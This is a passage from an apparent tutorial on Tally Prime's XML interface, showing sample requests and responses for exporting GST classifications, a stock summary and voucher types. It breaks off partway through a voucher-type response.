                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>Based on Value<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                                <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>SGST/UTGST<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>Based on Value<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                                <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>IGST<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>Based on Value<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                                <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>Cess<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span><span class="hljs-symbol">&amp;#4;</span> Not Applicable<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                                <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                <span class="hljs-tag">&lt;<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>State Cess<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEDUTYHEAD</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>Based on Value<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEVALUATIONTYPE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATE</span>&gt;</span>
                                    <span class="hljs-tag">&lt;<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTRATEPERUNIT</span>&gt;</span>
                                <span class="hljs-tag">&lt;/<span class="hljs-name">RATEDETAILS.LIST</span>&gt;</span>
                            <span class="hljs-tag">&lt;/<span class="hljs-name">GSTSLABRATES.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">STATEWISEDETAILS.LIST</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">GSTDETAILS.LIST</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">HSNDETAILS.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">APPLICABLEFROM</span>&gt;</span>20240401<span class="hljs-tag">&lt;/<span class="hljs-name">APPLICABLEFROM</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSNCODE</span>&gt;</span>9999<span class="hljs-tag">&lt;/<span class="hljs-name">HSNCODE</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSN</span>&gt;</span>GST Classification<span class="hljs-tag">&lt;/<span class="hljs-name">HSN</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">HSNCLASSIFICATIONNAME</span>/&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">SRCOFHSNDETAILS</span>&gt;</span>Specify Details Here<span class="hljs-tag">&lt;/<span class="hljs-name">SRCOFHSNDETAILS</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">HSNDETAILS.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">GSTCLASSIFICATION</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">COLLECTION</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">DATA</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">BODY</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">ENVELOPE</span>&gt;</span>
</code></pre>
<p>This XML request is designed to export a collection of GST classifications from Tally, including detailed GST rates and HSN details. The data includes state-wise GST slab rates, HSN codes, and other related information, starting from a specified applicable date.</p>
<h2 id="heading-export-stock-summary-list-from-tally-prime"><strong>Export Stock Summary list from Tally Prime</strong></h2>
<p><strong>Xml Request:</strong></p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">ENVELOPE</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">HEADER</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">TALLYREQUEST</span>&gt;</span>Export Data<span class="hljs-tag">&lt;/<span class="hljs-name">TALLYREQUEST</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">HEADER</span>&gt;</span>

    <span class="hljs-tag">&lt;<span class="hljs-name">BODY</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">EXPORTDATA</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">REQUESTDESC</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STATICVARIABLES</span>&gt;</span> <span class="hljs-tag">&lt;/<span class="hljs-name">STATICVARIABLES</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">REPORTNAME</span>&gt;</span>Stock Summary<span class="hljs-tag">&lt;/<span class="hljs-name">REPORTNAME</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">REQUESTDESC</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">EXPORTDATA</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">BODY</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">ENVELOPE</span>&gt;</span>
</code></pre>
<p><strong>Xml Response:</strong></p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">ENVELOPE</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">DSPACCNAME</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">DSPDISPNAME</span>&gt;</span>Sarees<span class="hljs-tag">&lt;/<span class="hljs-name">DSPDISPNAME</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">DSPACCNAME</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">DSPSTKINFO</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">DSPSTKCL</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">DSPCLQTY</span>&gt;</span>100 pcs<span class="hljs-tag">&lt;/<span class="hljs-name">DSPCLQTY</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">DSPCLRATE</span>&gt;</span>12000.00<span class="hljs-tag">&lt;/<span class="hljs-name">DSPCLRATE</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">DSPCLAMTA</span>&gt;</span>-1200000.00<span class="hljs-tag">&lt;/<span class="hljs-name">DSPCLAMTA</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">DSPSTKCL</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">DSPSTKINFO</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">ENVELOPE</span>&gt;</span>
</code></pre>
<p>This response provides a stock summary</p>
<ul>
<li><p><strong>Quantity</strong>: <code>&lt;DSPCLQTY&gt;</code> represents the available quantity.</p>
</li>
<li><p><strong>Rate</strong>: <code>&lt;DSPCLRATE&gt;</code> indicates the rate per unit.</p>
</li>
<li><p><strong>Value</strong>: <code>&lt;DSPCLAMTA&gt;</code> reflects the total value of the stock.</p>
</li>
</ul>
<h2 id="heading-export-voucher-type-list-from-tally-prime"><strong>Export Voucher Type list from Tally Prime</strong></h2>
<p><strong>Xml Request:</strong></p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">ENVELOPE</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">HEADER</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">VERSION</span>&gt;</span>1<span class="hljs-tag">&lt;/<span class="hljs-name">VERSION</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">TALLYREQUEST</span>&gt;</span>EXPORT<span class="hljs-tag">&lt;/<span class="hljs-name">TALLYREQUEST</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">TYPE</span>&gt;</span>Collection<span class="hljs-tag">&lt;/<span class="hljs-name">TYPE</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">ID</span>&gt;</span>Voucher<span class="hljs-tag">&lt;/<span class="hljs-name">ID</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">HEADER</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">BODY</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">DESC</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">STATICVARIABLES</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">SVEXPORTFORMAT</span>&gt;</span>$$SysName:XML<span class="hljs-tag">&lt;/<span class="hljs-name">SVEXPORTFORMAT</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GroupType</span>&gt;</span>Primary<span class="hljs-tag">&lt;/<span class="hljs-name">GroupType</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">STATICVARIABLES</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">DESC</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">BODY</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">ENVELOPE</span>&gt;</span>
</code></pre>
<p>xml Response:</p>
<pre><code class="lang-xml"><span class="hljs-tag">&lt;<span class="hljs-name">ENVELOPE</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">HEADER</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">VERSION</span>&gt;</span>1<span class="hljs-tag">&lt;/<span class="hljs-name">VERSION</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">STATUS</span>&gt;</span>1<span class="hljs-tag">&lt;/<span class="hljs-name">STATUS</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">HEADER</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">BODY</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">DESC</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">CMPINFO</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">COMPANY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">COMPANY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GROUP</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">LEDGER</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">LEDGER</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">COSTCATEGORY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">COSTCATEGORY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">COSTCENTRE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">COSTCENTRE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GODOWN</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GODOWN</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STOCKGROUP</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">STOCKGROUP</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STOCKCATEGORY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">STOCKCATEGORY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STOCKITEM</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">STOCKITEM</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">CURRENCY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">CURRENCY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">UNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">UNIT</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">BUDGET</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">BUDGET</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">CLIENTRULE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">CLIENTRULE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">SERVERRULE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">SERVERRULE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">STATE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">TDSRATE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">TDSRATE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">TAXCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">TAXCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">STCATEGORY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">STCATEGORY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">DEDUCTEETYPE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">DEDUCTEETYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">ATTENDANCETYPE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">ATTENDANCETYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">FBTCATEGORY</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">FBTCATEGORY</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">FBTASSESSEETYPE</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">FBTASSESSEETYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">TARIFFCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">TARIFFCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">EXCISEDUTYCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">EXCISEDUTYCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">SERIALNUMBER</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">SERIALNUMBER</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">ADJUSTMENTCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">ADJUSTMENTCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">INCOMETAXSLAB</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">INCOMETAXSLAB</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">INCOMETAXCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">INCOMETAXCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">LBTCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">LBTCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">TAXUNIT</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">TAXUNIT</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">RETURNMASTER</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">RETURNMASTER</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">GSTCLASSIFICATION</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">GSTCLASSIFICATION</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERNUMBERSERIES</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERNUMBERSERIES</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHER</span>&gt;</span>0<span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHER</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">CMPINFO</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">DESC</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">DATA</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">COLLECTION</span> <span class="hljs-attr">ISMSTDEPTYPE</span>=<span class="hljs-string">"Yes"</span> <span class="hljs-attr">MSTDEPTYPE</span>=<span class="hljs-string">"1024"</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Attendance"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Attendance"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">MAILINGNAME</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>Attd<span class="hljs-tag">&lt;/<span class="hljs-name">MAILINGNAME</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">ISACTIVE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Logical"</span>&gt;</span>No<span class="hljs-tag">&lt;/<span class="hljs-name">ISACTIVE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">SORTPOSITION</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 240<span class="hljs-tag">&lt;/<span class="hljs-name">SORTPOSITION</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Attendance<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Contra"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Contra"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">MAILINGNAME</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>Ctra<span class="hljs-tag">&lt;/<span class="hljs-name">MAILINGNAME</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">ISACTIVE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Logical"</span>&gt;</span>Yes<span class="hljs-tag">&lt;/<span class="hljs-name">ISACTIVE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">SORTPOSITION</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 10<span class="hljs-tag">&lt;/<span class="hljs-name">SORTPOSITION</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Contra<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Credit Note"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Credit Note"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">MAILINGNAME</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>C/Note<span class="hljs-tag">&lt;/<span class="hljs-name">MAILINGNAME</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">ISACTIVE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Logical"</span>&gt;</span>Yes<span class="hljs-tag">&lt;/<span class="hljs-name">ISACTIVE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">SORTPOSITION</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 50<span class="hljs-tag">&lt;/<span class="hljs-name">SORTPOSITION</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Credit Note<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Debit Note"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Debit Note"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">MAILINGNAME</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>D/Note<span class="hljs-tag">&lt;/<span class="hljs-name">MAILINGNAME</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">ISACTIVE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Logical"</span>&gt;</span>Yes<span class="hljs-tag">&lt;/<span class="hljs-name">ISACTIVE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">SORTPOSITION</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 60<span class="hljs-tag">&lt;/<span class="hljs-name">SORTPOSITION</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Debit Note<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGEID</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 1033<span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGEID</span>&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">VOUCHERTYPE</span>&gt;</span>
                <span class="hljs-tag">&lt;<span class="hljs-name">VOUCHERTYPE</span> <span class="hljs-attr">NAME</span>=<span class="hljs-string">"Delivery Note"</span> <span class="hljs-attr">RESERVEDNAME</span>=<span class="hljs-string">"Delivery Note"</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">MAILINGNAME</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>Dely Note<span class="hljs-tag">&lt;/<span class="hljs-name">MAILINGNAME</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">ISACTIVE</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Logical"</span>&gt;</span>No<span class="hljs-tag">&lt;/<span class="hljs-name">ISACTIVE</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">SORTPOSITION</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"Number"</span>&gt;</span> 90<span class="hljs-tag">&lt;/<span class="hljs-name">SORTPOSITION</span>&gt;</span>
                    <span class="hljs-tag">&lt;<span class="hljs-name">LANGUAGENAME.LIST</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">NAME.LIST</span> <span class="hljs-attr">TYPE</span>=<span class="hljs-string">"String"</span>&gt;</span>
                            <span class="hljs-tag">&lt;<span class="hljs-name">NAME</span>&gt;</span>Delivery Note<span class="hljs-tag">&lt;/<span class="hljs-name">NAME</span>&gt;</span>
                        <span class="hljs-tag">&lt;/<span class="hljs-name">NAME.LIST</span>&gt;</span>
